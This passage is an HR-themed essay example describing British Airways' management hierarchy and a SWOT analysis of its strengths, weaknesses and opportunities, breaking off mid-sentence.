HR - Essay Example The company’s structure is clearly shown in the diagram below. The chief executive is at the top of the hierarchy and is in charge of all the operations in the company. Below him in the hierarchy is the management board and the customer and operations executive (British airways Plc.). In the daily operations of the company the chief executive is assisted by the chief financial officer and the leadership team. The members of the leadership include the commercial director, the chief information officer, the director of engineering, director of people and organizational effectiveness, general counsel and director of investments and alliances (British airways Plc.). The company’s SWOT analysis is used to show the company’s strategic positioning in the market and its strengths and weaknesses. The company boasts of having a wide range of strengths making it a market leader in the airline industry in the UK and the global scene. To begin with, the company has a strong brand image that makes it stand out in the market. Secondly, the opensky agreement supports its operations (British airways Plc.). Thirdly, the company has an expansive fleet which translates to a huge customer base. Fourthly, the company has a highly skilled work force that ensures delivery of quality customer service. Finally, the company benefits from economies of scale due to its level of operations and vast market base. On the other hand, the company is faced by various weaknesses including competition in cost as compared to ‘low fare’ airlines (British airways Plc.). Increasing costs of managing operations in various parts of the world, huge debt burdens and unfunded employee post retirement benefits. Other weaknesses include a high number of labor strikes and a powerful labor union. The company can exploit opportunities in various areas. These include emerging markets in Asia Pacific and other parts of the world (British airways Plc.). British Airways faces